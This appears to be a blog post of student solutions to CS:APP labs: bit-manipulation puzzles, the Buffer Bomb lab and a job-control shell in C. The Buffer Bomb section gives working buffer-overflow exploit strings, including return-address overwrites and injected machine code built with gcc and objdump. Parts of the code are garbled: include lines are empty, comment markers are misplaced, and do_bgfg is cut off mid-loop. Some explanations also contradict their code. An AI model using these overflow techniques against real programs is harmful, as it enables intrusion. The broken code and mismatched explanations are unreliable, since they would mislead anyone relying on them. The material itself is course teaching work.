Labs from Computer Systems: A Programmer’s Perspective


Manipulating Bits

/*
 * getByte - Extract byte n from word x
 * Bytes numbered from 0 (LSB) to 3 (MSB)
 * Examples: getByte(0x12345678,1) = 0x56
 * Legal ops: ! ~ & ^ | + << >>
 * Max ops: 6
 * Rating: 2
 */
int getByte(int x, int n) {
    return (x>>(n<<3))&0xff;
}

The word x is shifted by n, which was shifted left 3 bits.
This puts the target byte in the position of the most significant byte.
&0xff zeroes the other bytes.


/* 
 * implication - return x -> y in propositional logic - 0 for false, 1
 * for true
 * Example: implication(1,1) = 1
 * implication(1,0) = 0
 * Legal ops: ! ~ ^ |
 * Max ops: 5
 * Rating: 2
 */
int implication(int x, int y) {
    return !!((!x)|y);
}

x → y is equivalent to not x or y


/*
 * leastBitPos - return a mask that marks the position of the
 * least significant 1 bit. If x == 0, return 0
 * Example: leastBitPos(96) = 0x20
 * Legal ops: ! ~ & ^ | + << >>
 * Max ops: 6
 * Rating: 2
 */
int leastBitPos(int x) {
    return x & (~x+1);
}

If x=TMax, the number is 011…1. Then if you invert all the bits
of x then add 1, you get 100…01, so & correctly identifies the rightmost bit as the least
significant bit. For other values of x, ~x will have 1’s where there are 0’s to the
right of the least significant bit, then by adding 1, those 1’s become 0’s until the
last significant bit is reached. Then x&(~x+1) returns 0’s save for the
1 at the least significant bit.


/*
 * conditional - same as x ? y : z
 * Example: conditional(2,4,5) = 4
 * Legal ops: ! ~ & ^ | + << >>
 * Max ops: 16
 * Rating: 3
 */
int conditional(int x, int y, int z) {
    int xTrue=!!x;
    int repeatTruthValueY=~xTrue+1;
    int repeatTruthValueZ=~!xTrue+1;
    return (repeatTruthValueY & y) | (repeatTruthValueZ & z);
}

x ? y : z is equal to (if x then y) or (if not x then z).


/*
 * bitCount - returns count of number of 1's in word
 * Examples: bitCount(5) = 2, bitCount(7) = 3
 * Legal ops: ! ~ & ^ | + << >>
 * Max ops: 40
 * Rating: 4
 */
int bitCount(int x) {
int Hex55555555=(0x55<<24)+(0x55<<16)+(0x55<<8)+0x55;
int Hex33333333=(0x33<<24)+(0x33<<16)+(0x33<<8)+0x33;
int HexF0F0F0F=(0x0F<<24)+(0x0F<<16)+(0x0F<<8)+0x0F;
x = x + ~((x >> 1) & Hex55555555)+1;
x = (x & Hex33333333) + ((x >> 2) & Hex33333333);
int sumBitsSetInBytes=x + (x >> 4) & HexF0F0F0F;
return ((sumBitsSetInBytes<<24)+(sumBitsSetInBytes<<16)
    +(sumBitsSetInBytes<<8)+(sumBitsSetInBytes)) >> 24;
}

I used the method of counting bit sets in parallel described here:


http://graphics.stanford.edu/~seander/bithacks.html

x = x – ((x >> 1) & 0x55555555);

x = (x & 0x33333333) + ((x >> 2) & 0x33333333);

return ((x + (x >> 4) & 0xF0F0F0F) * 0x1010101) >> 24;


/*
 * bang - Compute !x without using !
 * Examples: bang(3) = 0, bang(0) = 1
 * Legal ops: ~ & ^ | + << >>
 * Max ops: 12
 * Rating: 4
 */
int bang(int x) {
    return ((x>>31)|((~x+1)>>31))+1;
}
/*

If x is negative, x>>31 will be all 1’s.

If x is positive, (~x+1)>>31 will be all 1’s.

If x is 0, ((x>>31)|((~x+1)>>31)) is all 0’s.

If x is nonzero, when you add 1 to ((x>>31)|((~x+1)>>31))=11..11, you get 0.

if x is zero, when you add 1 to ((x>>31)|((~x+1)>>31))=00..00, you get 1.


 * replaceByte(x,n,c) - Replace byte n in x with c
 * Bytes numbered from 0 (LSB) to 3 (MSB)
 * Examples: replaceByte(0x12345678,1,0xab) = 0x1234ab78
 * You can assume 0 <= n <= 3 and 0 <= c <= 255
 * Legal ops: ! ~ & ^ | + << >>
 * Max ops: 10
 * Rating: 3
 */
int replaceByte(int x, int n, int c) {
    return (x & ~(0xFF << (n<<3)))| (c << (n<<3));
}

(x & ~(1 << n)) zeroes the nth byte, then | (0x00000001 << c) puts whatever value is in c into that byte.


/*
 * TMax - return maximum two's complement integer
 * Legal ops: ! ~ & ^ | + << >>
 * Max ops: 4
 * Rating: 1
 */
int tmax(void) {
    /*
    return ~(0x08<<28);
}

The maximum two’s complement number has a 0 for first bit, followed by 1’s.
0x08=1000 in binary, this is left shifted 28 bits, resulting in 1 followed by 31 0’s.
We take the inverse and get the desired number.


 * fitsBits - return 1 if x can be represented as an
 * n-bit, two's complement integer.
 * 1 <= n <= 32
 * Examples: fitsBits(5,3) = 0, fitsBits(-4,3) = 1
 * Legal ops: ! ~ & ^ | + << >>
 * Max ops: 15
 * Rating: 2
 */
int fitsBits(int x, int n) {
    int shift = 33 + ~n;
    return !(((x<<shift)>>shift) ^ x);
}

If x is the same with bits numbering more than n zeroed, then it can be represented.
Thus, (((x << shift) >> shift) ^ x) is nonzero if there are any differences,
so taking the bang returns 0 if it cannot be represented.


 * isLess - if x < y then return 1, else return 0
 * Example: isLess(4,5) = 1.
 * Legal ops: ! ~ & ^ | + << >>
 * Max ops: 24
 * Rating: 3
 */
int isLess(int x, int y) {
    int signx=x>>31;
    int signy=y>>31;
    int xIsNegativeAndYIsPositive= signx & !signy;
    int xIsPositiveAndYIsNegative=!signx & signy;
    int signOfXMinusY=(x+(~y+1))>>31;
    int yIsTmin=!((0x80<<24)^y);
    return !xIsPositiveAndYIsNegative
      & !yIsTmin&((!xIsNegativeAndYIsPositive & signOfXMinusY)
        |xIsNegativeAndYIsPositive);
}

x+(~y+1) is (x-y). The first bit tells us the sign, so an arithmetic shift is performed
to move the first bit to least significant bit, then we can check if the sign bit was 1
(indicating x-y is negative → x-y < 0 → x < y).

If x is negative and y is positive, x < y is true.

If y is TMin, x < y must be false. If x is positive and y is negative, x < y must be false.

Buffer Bomb Lab

First, generate your cookie.

./makecookie <username>

Level 0: Candle

“Your task is to get BUFBOMB to execute the code for smoke when getbuf executes its return statement,
rather than returning to test. You can do this by supplying an exploit string that overwrites the stored
return pointer in the stack frame for getbuf with the address of the first instruction in smoke.”

Use objdump, or in gdb use disas, to examine the memory locations and assembly
instructions of the methods. This is what the console displays about getbuf:

0x08049030 <getbuf+0>:	push   %ebp
0x08049031 <getbuf+1>:	mov    %esp,%ebp
0x08049033 <getbuf+3>:	sub    $0x18,%esp
0x08049036 <getbuf+6>:	lea    -0xc(%ebp),%eax
0x08049039 <getbuf+9>:	mov    %eax,(%esp)
0x0804903c <getbuf+12>:	call   0x8048e20 <Gets>
0x08049041 <getbuf+17>:	mov    $0x1,%eax
0x08049046 <getbuf+22>:	leave
0x08049047 <getbuf+23>:	ret

The console also shows that the smoke function is at 0x08048df0.

So what we need to do is to supply an exploit string, which will be retrieved when Gets
is called in getbuf. This exploit string will overwrite the return pointer so that smoke is called instead.
The memory location of smoke is 0x08048df0; since the lab’s computers are little endian,
the bytes will appear in the exploit string as f0 8d 04 08.

Looking at where the exploit string supplied by Gets will be stored, we see that we need to
pad the string by 12+4=16 bytes. So the exploit string is:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 8d 04 08

Level 1: Sparkler

“Similar to Level 0, your task is to get BUFBOMB to execute the code for fizz rather than returning to
test. In this case, however, you must make it appear to fizz as if you have passed your cookie as its
argument. You can do this by encoding your cookie in the appropriate place within your exploit string.”

This is pretty much the same as Level 0. From using disas or objdump, we see that the fizz function
has memory location 0x08048da0. The bytes will appear in the exploit string as a0 8d 04 08.
Again, we need to pad the exploit string by 16 bytes.

We need to pass the cookie as the argument. My cookie is 0x238e92e6, so the bytes will appear
in the exploit string as e6 92 8e 23. We need to pad the argument by four bytes. So the exploit string is:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 8d 04 08 00 00 00 00 e6 92 8e 23

Level 2: Firecracker

“Similar to Levels 0 and 1, your task is to get BUFBOMB to execute the code for bang rather than returning
to test. Before this, however, you must set global variable global_value to your team’s cookie. Your
exploit code should set global_value, push the address of bang on the stack, and then execute a ret
instruction to cause a jump to the code for bang.”

From disas or objdump, we see that global_value has address 0x0804a1dc and bang has address 0x08048d50.
We need to write some assembly code that moves my cookie (0x238e92e6) into global_value and pushes
the address of bang.

So let’s make an assembly file, called as.s. We write the instructions:

movl $0x238e92e6, 0x0804a1dc
pushl $0x08048d50
ret

Next, we compile and disassemble the assembly code.

gcc -c as.s
objdump -d as.o
        00000000 :
           0:	c7 05 dc a1 04 08 e6 	movl   $0x238e92e6,0x804a1dc
           7:	92 8e 23
           a:	68 50 8d 04 08       	push   $0x8048d50
           f:	c3                   	ret

The disassembled code tells us the instructions the exploit string needs to contain
in order to execute the assembly code instructions. So copying the bytes, we have
c7 05 dc a1 04 08 e6 92 8e 23 68 50 8d 04 08 c3. We also need to change %ebp.

ebp=bfffbdc8-0x10= bfffbdb8

bfffbdb8+4=bfffbdbc

So the final exploit string is: c7 05 dc a1 04 08 e6 92 8e 23 68 50 8d 04 08 c3 bc bd ff bf.

Level 3: Dynamite

“Our preceding attacks have all caused the program to jump to the code for some other function, which
then causes the program to exit. As a result, it was acceptable to use exploit strings that corrupt the stack,
overwriting the saved value of register %ebp and the return pointer.

The most sophisticated form of buffer overflow attack causes the program to execute some exploit code
that patches up the stack and makes the program return to the original calling function (test in this case).
The calling function is oblivious to the attack. This style of attack is tricky, though, since you must: 1) get
machine code onto the stack, 2) set the return pointer to the start of this code, and 3) undo the corruptions
made to the stack state.

Your job for this level is to supply an exploit string that will cause getbuf to return your cookie back to
test, rather than the value 1. You can see in the code for test that this will cause the program to go
“Boom!.” Your exploit code should set your cookie as the return value, restore any corrupted state, push
the correct return location on the stack, and execute a ret instruction to really return to test.”

The next instruction in the test method has memory address 0x08049062.
We need to write some assembly code that moves the cookie into register %eax, move %esp into %ebp, offset %ebp,
then push the address of the next line in the test method.

movl $0x238e92e6, %eax
movl %esp, %ebp
addl $0x18, %ebp
pushl $0x08049062
ret

Again, the code is compiled and disassembled, yielding the following bytes for our exploit string:
b8 e6 92 8e 23 89 e5 83 c5 18 68 62 90 04 08 c3. As in Level 3, we need tag on bc bd ff bf to the exploit string.
The final exploit string is: b8 e6 92 8e 23 89 e5 83 c5 18 68 62 90 04 08 c3 bc bd ff bf.

Shell Lab

/* 
 * tsh - A tiny shell program with job control
 * 
 * Connie Fan, conniefan
 */
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

/* Misc manifest constants */
#define MAXLINE    1024   /* max line size */
#define MAXARGS     128   /* max args on a command line */
#define MAXJOBS      16   /* max jobs at any point in time */
#define MAXJID    1<<16   /* max job ID */

/* Job states */
#define UNDEF 0 /* undefined */
#define FG 1    /* running in foreground */
#define BG 2    /* running in background */
#define ST 3    /* stopped */

/* 
 * Jobs states: FG (foreground), BG (background), ST (stopped)
 * Job state transitions and enabling actions:
 *     FG -> ST  : ctrl-z
 *     ST -> FG  : fg command
 *     ST -> BG  : bg command
 *     BG -> FG  : fg command
 * At most 1 job can be in the FG state.
 */

/* Global variables */
extern char **environ;      /* defined in libc */
char prompt[] = "tsh> ";    /* command line prompt (DO NOT CHANGE) */
int verbose = 0;            /* if true, print additional output */
int nextjid = 1;            /* next job ID to allocate */
char sbuf[MAXLINE];         /* for composing sprintf messages */

struct job_t {              /* The job struct */
    pid_t pid;              /* job PID */
    int jid;                /* job ID [1, 2, ...] */
    int state;              /* UNDEF, BG, FG, or ST */
    char cmdline[MAXLINE];  /* command line */
};
struct job_t jobs[MAXJOBS]; /* The job list */
/* End global variables */


/* Function prototypes */

/* Here are the functions that you will implement */
void eval(char *cmdline);
int builtin_cmd(char **argv);
void do_bgfg(char **argv);
void waitfg(pid_t pid);

void sigchld_handler(int sig);
void sigtstp_handler(int sig);
void sigint_handler(int sig);

/* Here are helper routines that we've provided for you */
int parseline(const char *cmdline, char **argv); 
void sigquit_handler(int sig);

void clearjob(struct job_t *job);
void initjobs(struct job_t *jobs);
int maxjid(struct job_t *jobs); 
int addjob(struct job_t *jobs, pid_t pid, int state, char *cmdline);
int deletejob(struct job_t *jobs, pid_t pid); 
pid_t fgpid(struct job_t *jobs);
struct job_t *getjobpid(struct job_t *jobs, pid_t pid);
struct job_t *getjobjid(struct job_t *jobs, int jid); 
int pid2jid(pid_t pid); 
void listjobs(struct job_t *jobs);

void usage(void);
void unix_error(char *msg);
void app_error(char *msg);
typedef void handler_t(int);
handler_t *Signal(int signum, handler_t *handler);

/*
 * main - The shell's main routine 
 */
int main(int argc, char **argv) 
{
    char c;
    char cmdline[MAXLINE];
    int emit_prompt = 1; /* emit prompt (default) */

    /* Redirect stderr to stdout (so that driver will get all output
     * on the pipe connected to stdout) */
    dup2(1, 2);

    /* Parse the command line */
    while ((c = getopt(argc, argv, "hvp")) != EOF) {
        switch (c) {
        case 'h':             /* print help message */
            usage();
	    break;
        case 'v':             /* emit additional diagnostic info */
            verbose = 1;
	    break;
        case 'p':             /* don't print a prompt */
            emit_prompt = 0;  /* handy for automatic testing */
	    break;
	default:
            usage();
	}
    }

    /* Install the signal handlers */

    /* These are the ones you will need to implement */
    Signal(SIGINT,  sigint_handler);   /* ctrl-c */
    Signal(SIGTSTP, sigtstp_handler);  /* ctrl-z */
    Signal(SIGCHLD, sigchld_handler);  /* Terminated or stopped child */

    /* This one provides a clean way to kill the shell */
    Signal(SIGQUIT, sigquit_handler); 

    /* Initialize the job list */
    initjobs(jobs);

    /* Execute the shell's read/eval loop */
    while (1) {

	/* Read command line */
	if (emit_prompt) {
	    printf("%s", prompt);
	    fflush(stdout);
	}
	if ((fgets(cmdline, MAXLINE, stdin) == NULL) && ferror(stdin))
	    app_error("fgets error");
	if (feof(stdin)) { /* End of file (ctrl-d) */
	    fflush(stdout);
	    exit(0);
	}

	/* Evaluate the command line */
	eval(cmdline);
	fflush(stdout);
	fflush(stdout);
    } 

    exit(0); /* control never reaches here */
}
  
/* 
 * eval - Evaluate the command line that the user has just typed in
 * 
 * If the user has requested a built-in command (quit, jobs, bg or fg)
 * then execute it immediately. Otherwise, fork a child process and
 * run the job in the context of the child. If the job is running in
 * the foreground, wait for it to terminate and then return.  Note:
 * each child process must have a unique process group ID so that our
 * background children don't receive SIGINT (SIGTSTP) from the kernel
 * when we type ctrl-c (ctrl-z) at the keyboard.  
*/
void eval(char *cmdline) 
{
	char *argv[MAXARGS]; /* array of arguments from command line */
	
	int isBG;	  			/* Should the job run in bg or fg? */
	pid_t pid;		  	/* process ID */
	
	isBG = parseline(cmdline, argv); /* bg is 1 if background job, 0 if job is fg */
	
	// initialize a set of signals that only contains SIGCHLD
	sigset_t signalSet;  
	sigemptyset(&signalSet);
	sigaddset(&signalSet, SIGCHLD);

	if(!builtin_cmd(argv)) { /* this line executes built-in commands; 
							  statements within if-statement are executed if not a built-in command */
		
		/* block SIGCHLD signal */	
		sigprocmask(SIG_BLOCK, &signalSet, NULL);
		
		if ((pid = fork()) == 0) { /* Child runs user job */
			// create new process group with child
			setpgid(0, 0);
			
			//unblock SIGCHLD signal
			sigprocmask(SIG_UNBLOCK, &signalSet, NULL);
			
			// execute path as command
			if (execve(argv[0], argv, environ) < 0) {
				printf("%s: Command not found\n", argv[0]);
				fflush(stdout);
				exit(0);
			}
			exit(0);
		}
		 /* Parent */
			if(!isBG)
			{
				addjob(jobs, pid, FG, cmdline); //add fg job
				// unblock SIGCHLD signal
				sigprocmask(SIG_UNBLOCK, &signalSet, NULL);

				/* Parent waits for fg job to terminate */					
				waitfg(pid);
			}
			else
			{
				addjob(jobs, pid, BG, cmdline); //add bg job
				printf("[%d] (%d) %s",getjobpid(jobs, pid)->jid,pid,cmdline); //print bg job details	
				sigprocmask(SIG_UNBLOCK, &signalSet, NULL);   //unblock signal
			}
	}
}

/* 
 * parseline - Parse the command line and build the argv array.
 * 
 * Characters enclosed in single quotes are treated as a single
 * argument.  Return true if the user has requested a BG job, false if
 * the user has requested a FG job.  
 */
int parseline(const char *cmdline, char **argv) 
{
    static char array[MAXLINE]; /* holds local copy of command line */
    char *buf = array;          /* ptr that traverses command line */
    char *delim;                /* points to first space delimiter */
    int argc;                   /* number of args */
    int bg;                     /* background job? */
	
    strcpy(buf, cmdline);
    buf[strlen(buf)-1] = ' ';  /* replace trailing '\n' with space */
    while (*buf && (*buf == ' ')) /* ignore leading spaces */
		buf++;
	
    /* Build the argv list */
    argc = 0;
    if (*buf == '\'') {
		buf++;
		delim = strchr(buf, '\'');
    }
    else {
		delim = strchr(buf, ' ');
    }
	
    while (delim) {
		argv[argc++] = buf;
		*delim = '\0';
		buf = delim + 1;
		while (*buf && (*buf == ' ')) /* ignore spaces */
			buf++;
		
		if (*buf == '\'') {
			buf++;
			delim = strchr(buf, '\'');
		}
		else {
			delim = strchr(buf, ' ');
		}
    }
    argv[argc] = NULL;
    
    if (argc == 0)  /* ignore blank line */
		return 1;
	
    /* should the job run in the background? */
    if ((bg = (*argv[argc-1] == '&')) != 0) {
		argv[--argc] = NULL;
    }
    return bg;
}

/* 
 * builtin_cmd - If the user has typed a built-in command then execute
 *    it immediately.  
 */
int builtin_cmd(char **argv) 
{
	char *command = argv[0];  
	
	/* checks if command is a built-in command; if so, executes it */
    if (!strcmp(command,"quit")) {
        exit(0);
    }
    else if (!strcmp(command,"fg") || !strcmp(command,"bg")) {
        do_bgfg(argv);
        return 1;
    }
    else if (!strcmp(command,"jobs")) {
        listjobs(jobs);
        return 1;
    }
    else
		return 0;     /* not a builtin command */
}

/* 
 * do_bgfg - Execute the builtin bg and fg commands
 */
void do_bgfg(char **argv) 
{
	struct job_t* jobp=NULL;
	char *jids;
	int i;
	if(argv[1] == NULL) {  //no argument
        printf("%s command requires PID or %%jobid argument\n", argv[0]);  
        return;  
    }  	
	
	if(argv[1][0]=='%') //jid argument
	{
		jids=argv[1]+sizeof(char); //ignore initial '%' in jids
		
		//check formatting
		for(i=0;istate=BG; //sets state to bg	
		kill(-(jobp->pid), SIGCONT); //continue the process
		printf("[%d] (%d) %s\n", jobp->jid,jobp->pid, jobp->cmdline);	
	}
	else
	{
		jobp->state=FG; //change process to fg process	
		kill(-(jobp->pid), SIGCONT); //continue the process
	
		waitfg(jobp->pid); //wait for process to terminate
	}
}

/* 
 * waitfg - Block until process pid is no longer the foreground process
 */
void waitfg(pid_t pid)
{
	while(pid == fgpid(jobs)) { /* uses a busy loop around the sleep function while pid is the fg process*/
		sleep(0);
	}
}

/*****************
 * Signal handlers
 *****************/

/* 
 * sigchld_handler - The kernel sends a SIGCHLD to the shell whenever
 *     a child job terminates (becomes a zombie), or stops because it
 *     received a SIGSTOP or SIGTSTP signal. The handler reaps all
 *     available zombie children, but doesn't wait for any other
 *     currently running children to terminate.  
 */
void sigchld_handler(int sig) 
{
	int status;
    int pid=1;
    while(pid>0){
        pid=waitpid(-1,&status,WNOHANG|WUNTRACED);  //returns pid of a child whose state changed 
        
        if(pid>0) // check if a child's state changed
        {
            if(WIFEXITED(status)) // child exited normally
                deletejob(jobs,pid);
            else {
				if(WIFSIGNALED(status)){  /* child exited because a signal is not caught */
					if(WTERMSIG(status)==2) /* if signal that caused child to terminate is 2, it was terminated
											 by a different process */
						printf("Job [%d] (%d) terminated by signal %d\n", pid2jid(pid), pid, WTERMSIG(status));
					deletejob(jobs,pid);
				}
				else if(WIFSTOPPED(status)){    /* child stopped by receipt of a signal */
					getjobpid(jobs, pid)->state=ST;
					printf("Job [%d] (%d) stopped by signal %d\n", pid2jid(pid), pid, WSTOPSIG(status));
				}
			}
        }        
    }	
}

/* 
 * sigint_handler - The kernel sends a SIGINT to the shell whenver the
 *    user types ctrl-c at the keyboard.  Catch it and send it along
 *    to the foreground job.  
 */
void sigint_handler(int sig) 
{	
	int fg_pid;
	
	// make sure there is a fg job
	if((fg_pid=fgpid(jobs))==0)
		return;
    
	// send signal to fg job
	kill(-(fg_pid), SIGINT);
}

/*
 * sigtstp_handler - The kernel sends a SIGTSTP to the shell whenever
 *     the user types ctrl-z at the keyboard. Catch it and suspend the
 *     foreground job by sending it a SIGTSTP.  
 */
void sigtstp_handler(int sig) 
{
	int fg_pid;	
	
	//make sure there is a fg job
	if((fg_pid = fgpid(jobs)) == 0)
		return;
	
	//send signal to fg job
	kill(-(fg_pid), SIGTSTP);
}

/*********************
 * End signal handlers
 *********************/

/***********************************************
 * Helper routines that manipulate the job list
 **********************************************/

/* clearjob - Clear the entries in a job struct */
void clearjob(struct job_t *job) {
    job->pid = 0;
    job->jid = 0;
    job->state = UNDEF;
    job->cmdline[0] = '\0';
}

/* initjobs - Initialize the job list */
void initjobs(struct job_t *jobs) {
    int i;

    for (i = 0; i < MAXJOBS; i++)
	clearjob(&jobs[i]);
}

/* maxjid - Returns largest allocated job ID */
int maxjid(struct job_t *jobs) 
{
    int i, max=0;

    for (i = 0; i < MAXJOBS; i++)
	if (jobs[i].jid > max)
	    max = jobs[i].jid;
    return max;
}

/* addjob - Add a job to the job list */
int addjob(struct job_t *jobs, pid_t pid, int state, char *cmdline) 
{
    int i;
    
    if (pid < 1)
	return 0;

    for (i = 0; i < MAXJOBS; i++) {
	if (jobs[i].pid == 0) {
	    jobs[i].pid = pid;
	    jobs[i].state = state;
	    jobs[i].jid = nextjid++;
	    if (nextjid > MAXJOBS)
		nextjid = 1;
	    strcpy(jobs[i].cmdline, cmdline);
  	    if(verbose){
	        printf("Added job [%d] %d %s\n", jobs[i].jid, jobs[i].pid, jobs[i].cmdline);
            }
            return 1;
	}
    }
    printf("Tried to create too many jobs\n");
    return 0;
}

/* deletejob - Delete a job whose PID=pid from the job list */
int deletejob(struct job_t *jobs, pid_t pid) 
{
    int i;

    if (pid < 1)
	return 0;

    for (i = 0; i < MAXJOBS; i++) {
	if (jobs[i].pid == pid) {
	    clearjob(&jobs[i]);
	    nextjid = maxjid(jobs)+1;
	    return 1;
	}
    }
    return 0;
}

/* fgpid - Return PID of current foreground job, 0 if no such job */
pid_t fgpid(struct job_t *jobs) {
    int i;

    for (i = 0; i < MAXJOBS; i++)
	if (jobs[i].state == FG)
	    return jobs[i].pid;
    return 0;
}

/* getjobpid  - Find a job (by PID) on the job list */
struct job_t *getjobpid(struct job_t *jobs, pid_t pid) {
    int i;

    if (pid < 1)
	return NULL;
    for (i = 0; i < MAXJOBS; i++)
	if (jobs[i].pid == pid)
	    return &jobs[i];
    return NULL;
}

/* getjobjid  - Find a job (by JID) on the job list */
struct job_t *getjobjid(struct job_t *jobs, int jid) 
{
    int i;

    if (jid < 1)
	return NULL;
    for (i = 0; i < MAXJOBS; i++)
	if (jobs[i].jid == jid)
	    return &jobs[i];
    return NULL;
}

/* pid2jid - Map process ID to job ID */
int pid2jid(pid_t pid) 
{
    int i;

    if (pid < 1)
	return 0;
    for (i = 0; i < MAXJOBS; i++)
	if (jobs[i].pid == pid) {
            return jobs[i].jid;
        }
    return 0;
}

/* listjobs - Print the job list */
void listjobs(struct job_t *jobs) 
{
    int i;
    
    for (i = 0; i < MAXJOBS; i++) {
	if (jobs[i].pid != 0) {
	    printf("[%d] (%d) ", jobs[i].jid, jobs[i].pid);
	    switch (jobs[i].state) {
		case BG: 
		    printf("Running ");
		    break;
		case FG: 
		    printf("Foreground ");
		    break;
		case ST: 
		    printf("Stopped ");
		    break;
	    default:
		    printf("listjobs: Internal error: job[%d].state=%d ", 
			   i, jobs[i].state);
	    }
	    printf("%s", jobs[i].cmdline);
	}
    }
}
/******************************
 * end job list helper routines
 ******************************/


/***********************
 * Other helper routines
 ***********************/

/*
 * usage - print a help message
 */
void usage(void) 
{
    printf("Usage: shell [-hvp]\n");
    printf("   -h   print this message\n");
    printf("   -v   print additional diagnostic information\n");
    printf("   -p   do not emit a command prompt\n");
    exit(1);
}

/*
 * unix_error - unix-style error routine
 */
void unix_error(char *msg)
{
    fprintf(stdout, "%s: %s\n", msg, strerror(errno));
    exit(1);
}

/*
 * app_error - application-style error routine
 */
void app_error(char *msg)
{
    fprintf(stdout, "%s\n", msg);
    exit(1);
}

/*
 * Signal - wrapper for the sigaction function
 */
handler_t *Signal(int signum, handler_t *handler) 
{
    struct sigaction action, old_action;

    action.sa_handler = handler;  
    sigemptyset(&action.sa_mask); /* block sigs of type being handled */
    action.sa_flags = SA_RESTART; /* restart syscalls if possible */

    if (sigaction(signum, &action, &old_action) < 0)
	unix_error("Signal error");
    return (old_action.sa_handler);
}

/*
 * sigquit_handler - The driver program can gracefully terminate the
 *    child shell by sending it a SIGQUIT signal.
 */
void sigquit_handler(int sig) 
{
    printf("Terminating after receipt of SIGQUIT signal\n");
    exit(1);
}

Leave a Reply

Your email address will not be published. Required fields are marked *